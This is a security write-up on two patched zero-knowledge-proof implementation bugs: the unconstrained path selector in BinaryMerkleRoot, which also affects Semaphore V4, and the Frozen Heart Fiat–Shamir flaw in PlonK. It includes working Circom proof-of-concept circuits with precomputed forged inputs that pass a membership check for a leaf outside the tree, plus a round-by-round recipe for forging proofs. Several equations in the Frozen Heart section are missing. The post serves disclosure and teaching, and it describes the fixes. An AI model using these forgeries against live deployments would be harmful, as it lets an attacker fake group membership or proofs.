Analysis of ZKP implementation vulnerabilities: causes and countermeasures for under-constrained inputs and Frozen Heart

Overview

Author: @Zer0Luck, @nugurii

ZKPs can be cryptographically sound on paper and still fail in code. We studied known 1-day cases to map where implementation mistakes open real attack vectors.

This note covers two families:

1. Missing constraints on inputs (under-constrained bugs)
2. Broken Fiat–Shamir implementations (Frozen Heart)

Neither flaw lives in the math of the proof system itself. Both are implementation mistakes.

Under-constrained bugs show up when a value that must live in a small range is never forced into that range. Frozen Heart (name from the researchers who published it) appears when public inputs are left out of the Fiat–Shamir hash, so a prover can fix the challenge early and then bend public inputs until the proof verifies.

The rest of the article walks through causes and mitigations.

Under-constrained bug in BinaryMerkleRoot

This section follows OtterSec's finding as written up with ZK-Kit and zkSecurity on the BinaryMerkleRoot constraint gap.

Current design

BinaryMerkleRoot checks Merkle membership. It recursively uses MultiMux1 to order hash inputs along the path. MultiMux1 selects between c[0] and c[1] with out <== (c[1] - c[0])*s + c[0] based on selector s.

The bug

BinaryMerkleRoot never constrains the selector s it feeds to MultiMux1 to be 0 or 1. MultiMux1 is intentionally unconstrained on s for reuse, so the caller must enforce the binary range. Without that check, a prover can assign any field element to s and still produce an accepting proof.

Attack-vector analysis

Projects that already run Num2Bits (or similar) on the path bits outside BinaryMerkleRoot are not hit. That is still an external assumption — the circuit itself is not defensive.

Solving MultiMux1 as a linear equation

MultiMux1 computes something like out <== (c1 - c0) * s + c0. If s is 0, out is c0; if s is 1, out is c1. The gadget does not assume or enforce that binary range. So s can be any element of $\mathbb{F}_p$, which is exactly what an attacker needs.

Setup. Pick real tree nodes target0 and target1. Goal: start from a leaf that is not in the tree (an "evil commitment") and still land on those targets.

Variables. Let N be the attacker-chosen fake leaf. Solve for a forged sibling S and forged selector s that make the mux outputs match target0 / target1.

System. Using a mux shaped like ((y - x)*sel + x) % p and ((x - y)*sel + y) % p with x = N, unknowns S and sel:

• Equation 1: (S - N) * s + N = target0
• Equation 2: (N - S) * s + S = target1

SageMath (or similar) over GF(p)['sel, S'] with Ideal / variety() finds the solutions.

The recovered sel is typically a huge non-binary field element — that becomes the forged path index — and S is the forged sibling.

Result. Feed those values into vulnerable BinaryMerkleRoot (pre-v2.0.0) and you get a valid ZK proof that a leaf outside the tree hashes to the real root. PoCs print matching root and evilroot.

Impact coverage

Same root cause, three useful coverage slices: Proof Length 1, Proof Length 2, and Impact on Semaphore. In every case the end state is the same: a leaf (or commitment) that is not in the Merkle tree still produces a verifying proof.

Reminder: missing binary constraint on s into MultiMux1 lets you solve (S - N) * sel + N = target0 and (N - S) * sel + S = target1 for non-binary sel and forged S.

Scenarios

1. Proof Length 1

Trigger at a single Merkle level: forge a proof that fake leaf N produces real parents target0 / target1.

Steps:

1. Build two symbolic mux polynomials from fake leaf N, unknown sibling S, and unknown selector sel.
2. Set them equal to target0 / target1 and solve with Ideal.variety().

target0 = 5407869850562333726769604095330004527418297248703115046359956082084347839061 // identityCommitment
target1 = 18699903263915756199535533399390350858126023699350081471896734858638858200219 // merkleProofSiblings 
N = 8501798477768465939972755925731717646123222073408967613007180932472889698337 // evilidentityCommitment

sel: 18511496158608553025564813493375997586708949594403917543049321156580578626782 //evilmerkleProofIndices
S: 15605974636709623986332381568988637739421098874644228905249510008250316340943 //evilmerkleProofSiblings

pragma circom 2.1.5;
 
include "circomlib/circuits/poseidon.circom";
include "circomlib/circuits/mux1.circom";
include "circomlib/circuits/comparators.circom";
 
template BinaryMerkleRoot(MAX_DEPTH) {
    signal input leaf, depth, indices[MAX_DEPTH], siblings[MAX_DEPTH];
 
    signal output out;
 
    signal nodes[MAX_DEPTH + 1];
    nodes[0] <== leaf;
 
    signal roots[MAX_DEPTH];
    var root = 0;
 
    for (var i = 0; i < MAX_DEPTH; i++) {
        var isDepth = IsEqual()([depth, i]);
        roots[i] <== isDepth * nodes[i];
        root += roots[i];
 
        var c[2][2] = [ [nodes[i], siblings[i]], [siblings[i], nodes[i]] ];
        var childNodes[2] = MultiMux1(2)(c, indices[i]);
 
        nodes[i + 1] <== Poseidon(2)(childNodes);
    }
 
    var isDepth = IsEqual()([depth, MAX_DEPTH]);
    out <== root + isDepth * nodes[MAX_DEPTH];
}
 
template Poc () {
    var identityCommitment = 5407869850562333726769604095330004527418297248703115046359956082084347839061;
    var merkleProofLength = 1;
    var merkleProofIndices[12] = [
        0, 0, 0, 0, 0, 0, 0,
        0, 0, 0, 0, 0
    ];
    var merkleProofSiblings[12] = [
        18699903263915756199535533399390350858126023699350081471896734858638858200219, 0, 0, 0, 0, 0, 0,
        0, 0, 0, 0, 0
    ];
    var root = BinaryMerkleRoot(12)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings);
    log("=========================================");
    var evilidentityCommitment = 8501798477768465939972755925731717646123222073408967613007180932472889698337;
    var evilmerkleProofLength = 1;
    var evilmerkleProofIndices[12] = [
        18511496158608553025564813493375997586708949594403917543049321156580578626782, 0, 0, 0, 0, 0, 0,
        0, 0, 0, 0, 0
    ];
    var evilmerkleProofSiblings[12] = [
        15605974636709623986332381568988637739421098874644228905249510008250316340943, 0, 0, 0, 0, 0, 0,
        0, 0, 0, 0, 0
    ];
    var evilroot = BinaryMerkleRoot(12)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings);
    log("root", root);
    log("evilroot", evilroot);
}
 
component main = Poc();

evilroot == root with a leaf that never existed in the tree.

2. Proof Length 2

Same idea across two levels.

Steps:

1. Hash evilIdentityCommitment with the first chosen sibling to get intermediate N.
2. Take the next-level real nodes as target0 / target1.
3. Solve mux for the second-level S and sel.

identityCommitment = 1
target0 = 7853200120776062878684798364095072458815029376092732009249414926327459813530
target1 = 14763215145315200506921711489642608356394854266165572616578112107564877678998 // merkleProofSiblings
N = 15395474291884160547406863474998981875412180596026064045600226749561926242039 // evilidentityCommitment

sel = 20090961965327877873740014701675383996709275086978553778175856788671012923384 //evilmerkleProofIndices
S = 7220940974207102838199646378738698939797703046232240580227300284330411250489 //evilmerkleProofSiblings

pragma circom 2.1.5;
 
include "circomlib/circuits/poseidon.circom";
include "circomlib/circuits/mux1.circom";
include "circomlib/circuits/comparators.circom";
 
template BinaryMerkleRoot(MAX_DEPTH) {
    signal input leaf, depth, indices[MAX_DEPTH], siblings[MAX_DEPTH];
 
    signal output out;
 
    signal nodes[MAX_DEPTH + 1];
    nodes[0] <== leaf;
 
    signal roots[MAX_DEPTH];
    var root = 0;
 
    for (var i = 0; i < MAX_DEPTH; i++) {
        var isDepth = IsEqual()([depth, i]);
        roots[i] <== isDepth * nodes[i];
        root += roots[i];
 
        var c[2][2] = [ [nodes[i], siblings[i]], [siblings[i], nodes[i]] ];
        var childNodes[2] = MultiMux1(2)(c, indices[i]);
 
        nodes[i + 1] <== Poseidon(2)(childNodes);
    }
 
    var isDepth = IsEqual()([depth, MAX_DEPTH]);
    out <== root + isDepth * nodes[MAX_DEPTH];
}
 
template Poc () {
    var identityCommitment = 1;
    var merkleProofLength = 2;
    var merkleProofIndices[10] = [
        0, 0, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var merkleProofSiblings[10] = [
        2, 14763215145315200506921711489642608356394854266165572616578112107564877678998, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var root = BinaryMerkleRoot(10)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings);
    log("=========================================");
    var evilidentityCommitment = 20487509512443004370293742889271596038604851758367067799025496182227063091563;
    var evilmerkleProofLength = 2;
    var evilmerkleProofIndices[10] = [
        0, 20090961965327877873740014701675383996709275086978553778175856788671012923384, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var evilmerkleProofSiblings[10] = [
        123, 7220940974207102838199646378738698939797703046232240580227300284330411250489, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var evilroot = BinaryMerkleRoot(10)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings);
    log("root", root);
    log("evilroot", evilroot);
}
 
component main = Poc();

Again evilroot matches the honest root for a two-level tree.

3. Impact on Semaphore

Semaphore uses BinaryMerkleRoot for group membership, so the bug lifts to application level: forge a Semaphore V4 proof for an identity commitment that is not in the group.

Steps:

1. Pick two real group-tree nodes as target0 / target1.
2. Derive N from an attacker evilsecret.
3. Solve for forged sibling / index and feed them into a Semaphore circuit that still embeds BinaryMerkleRoot v1.0.0.

target0 = 18699903263915756199535533399390350858126023699350081471896734858638858200219
target1 = 15684639248941018939207157301644512532843622097494605257727533950250892147976 // merkleProofSiblings
N = 6064632857532276925033625901604953426426313622216578376924090482554191077680 // evilidentityCommitment

sel = 9228398241747548072288697997709004271591955927781758657125859189315051293271 //evilmerkleProofIndices
S = 6431666783485222991462659054172634875994967774212074009001974139759750774898 //evilmerkleProofSiblings

pragma circom 2.1.5;
 
include "circomlib/circuits/poseidon.circom";
include "circomlib/circuits/mux1.circom";
include "circomlib/circuits/comparators.circom";
include "circomlib/circuits/babyjub.circom";
 
template BinaryMerkleRoot(MAX_DEPTH) {
    signal input leaf, depth, indices[MAX_DEPTH], siblings[MAX_DEPTH];
 
    signal output out;
 
    signal nodes[MAX_DEPTH + 1];
    nodes[0] <== leaf;
 
    signal roots[MAX_DEPTH];
    var root = 0;
 
    for (var i = 0; i < MAX_DEPTH; i++) {
        var isDepth = IsEqual()([depth, i]);
        roots[i] <== isDepth * nodes[i];
        root += roots[i];
 
        var c[2][2] = [ [nodes[i], siblings[i]], [siblings[i], nodes[i]] ];
        var childNodes[2] = MultiMux1(2)(c, indices[i]);
 
        nodes[i + 1] <== Poseidon(2)(childNodes);
    }
 
    var isDepth = IsEqual()([depth, MAX_DEPTH]);
    out <== root + isDepth * nodes[MAX_DEPTH];
}
template Semaphore(MAX_DEPTH) {
    signal input secret;
    signal input merkleProofLength, merkleProofIndices[MAX_DEPTH], merkleProofSiblings[MAX_DEPTH];
    signal input message;
    signal input scope;
    signal output merkleRoot, nullifier;
    var l = 2736030358979909402780800718157159386076813972158567259200215660948447373041;
 
    component isLessThan = LessThan(251);
    isLessThan.in <== [secret, l];
    isLessThan.out === 1;
    var Ax, Ay;
    (Ax, Ay) = BabyPbk()(secret);
 
    var identityCommitment = Poseidon(2)([Ax, Ay]);
 
    merkleRoot <== BinaryMerkleRoot(MAX_DEPTH)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings);
    nullifier <== Poseidon(2)([scope, secret]);
    signal dummySquare <== message * message;
}
 
template Poc () {
 
    var secret = 1978755119068081247093963160279604962264019399313700915496711871956252953559;
    var merkleProofLength = 1;
    var merkleProofIndices[10] = [
        0, 0, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var merkleProofSiblings[10] = [
        15684639248941018939207157301644512532843622097494605257727533950250892147976, 0, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var message = 123;
    var scope = 1;
 
    var (root, nullifier) = Semaphore(10)(secret, merkleProofLength, merkleProofIndices, merkleProofSiblings, message, scope);
    log("=========================================");
 
    var evilsecret = 1352222402399481130087448567392608653639881123399864909525072050336173771260;
    var evilmerkleProofLength = 1;
    var evilmerkleProofIndices[10] = [
        9228398241747548072288697997709004271591955927781758657125859189315051293271, 0, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var evilmerkleProofSiblings[10] = [
        6431666783485222991462659054172634875994967774212074009001974139759750774898, 0, 0, 0, 0, 0, 0,
        0, 0, 0
    ];
    var evilmessage = 123;
    var evilscope = 1;
 
    var (evilroot, evilnullifier) = Semaphore(10)(evilsecret, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings, evilmessage, evilscope);
 
    log("root", root);
    log("evilroot", evilroot);
}
 
component main = Poc();

Circuits that do not enforce path-index binary constraints externally — Semaphore V4 among them — were in scope.

Fixes and design rules

Circuit patch

BinaryMerkleRoot 2.0.0 fixed this by taking a single decimal index instead of indices[MAX_DEPTH], then forcing bits with Num2Bits(MAX_DEPTH)(index) inside the circuit. Num2Bits constrains each bit to 0 or 1.

Trusted setup

Once BinaryMerkleRoot changed, Semaphore V4 had to pin the new version. After a circuit change like that, a fresh SRS/CRS ceremony is required — multiple contributors combine entropy into a new Structured (or Common) Reference String and destroy their secrets.

Participants generate randomness (often via browser APIs), mix it with the previous public SRS, upload the new contribution, and wipe the local secret.

Defensive circuit design has to force input validity inside the circuit — type and range — not in comments or caller folklore. Production harnesses should fuzz those constraints. When you import a library gadget, read which assumptions it leaves to you. Only the constraints written in the code protect you.

The Frozen Heart vulnerability

This section restates Trail of Bits' Frozen Heart writeup in simpler terms.

Improper Fiat–Shamir implementation

Non-interactive ZK papers usually start from an interactive proof, then replace verifier challenges with Fiat–Shamir hashes. Do that wrong and an invalid proof can still verify.

Frozen Heart hits when public inputs are omitted from the Fiat–Shamir transcript. Change the public inputs and the "random" challenge stays put, so a prover can pick the challenge first and then craft public inputs that make the proof check out.

This is not a PlonK protocol bug. It is an implementation bug.

For this purpose we always denote by transcript the concatenation of the common preprocessed input, and public input, and the proof elements written by the prover up to a certain point in time

The paper says the transcript includes preprocessed input, public input, and proof elements. Drop public input in code and the vulnerability appears.

The hinge is the evaluation point $\zeta$ derived via Fiat–Shamir. Without public inputs in that hash, fix $\zeta$ early, then bend public inputs until verification accepts.

Generating a forged proof

Round 1

An honest prover submits wire polynomials:

An attacker who does not know the real wires submits random $a'$, $b'$, $c'$ instead.

Round 2

PlonK checks copy constraints so wire values stay consistent.

Without the real polynomials the attacker cannot satisfy that honestly, so they submit $[0]_1$ as $z$ and skip the check.

That works because an all-zero wire assignment is consistent, so copy constraints hold. Implementations that reject the point at infinity can stop the attack here.

Round 3

Honestly, all constraints collapse into one polynomial and the prover computes quotient $t(x)$, then splits it for KZG. The attacker cannot, so they invent random $t'$ and publish $[t'_{lo}]_1$, $[t'_{mid}]_1$, $[t'_{hi}]_1$.

Round 4

Honest provers derive $\zeta$ from the transcript and evaluate helpers including $r$. The attacker does the same with $a'$, $b'$, $c'$, $t'$, builds $r$, and sends evaluations at $\zeta$. Those evaluations match their own commitments by construction.

Round 5

Honest provers return a batched opening proof. Attackers do the same with $a'$, $b'$, $c'$, $t'$, then add one more step.

Round 6

The opening proof polynomial $W_\zeta(X)$ looks like:

In round 4 the attacker used a non-satisfying $t'(X)$ and set $\bar{t'} = t'(\zeta)$. In round 5 they also sent openings for the split $t$ pieces and for $a,b,c$.

But the verifier recomputes $\bar{t}$ itself, so it will not match the attacker's $\bar{t'}$.

→ Verifier step 8 involves $\zeta$, public inputs, $a(\zeta)$, $b(\zeta)$, $c(\zeta)$, and related terms.

To fool the verifier the attacker needs $\bar{t'}=\bar{t}$. Frozen Heart implementations omit public inputs from the Fiat–Shamir hash that produces $\zeta$, so the attacker can freeze $\zeta$ without public inputs, then choose public inputs that force the verifier's $\bar{t}$ to match.

Fix the left-hand side to the attacker's $\bar{t'}$ from round 4. The verifier computes:

$Q$ comes from the prover's $a,b,c$ evaluations. $r$ is also under prover control from round 4. $Z_H(\zeta)$ is fixed. Other movable pieces sit in the transcript and would retarget $\zeta$ if changed — except $PI(\zeta)$, which depends on public inputs that do not rehash $\zeta$ in a vulnerable build.

Solve for the needed public-input evaluation:

All right-hand terms are known. Expand:

Easiest solve: leave the first public input unknown and set the rest to 0:

Hand that vector to the verifier. It recomputes the same $\bar{t'}$, pairing checks pass, and the forged proof verifies.

In the real world

Variants showed up in Dusk Network's plonk, iden3's snarkjs, Consensys gnark, and others.

Dusk's fix:

Add PIs to the transcript · Issue #676 · dusk-network/plonk

Public inputs now enter the transcript so they cannot be twisted after $\zeta$ is fixed. Frozen Heart is that omission in a nutshell: put public inputs into Fiat–Shamir so the prover cannot predict evaluation challenges.

Reference

The Frozen Heart vulnerability in PlonK

under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200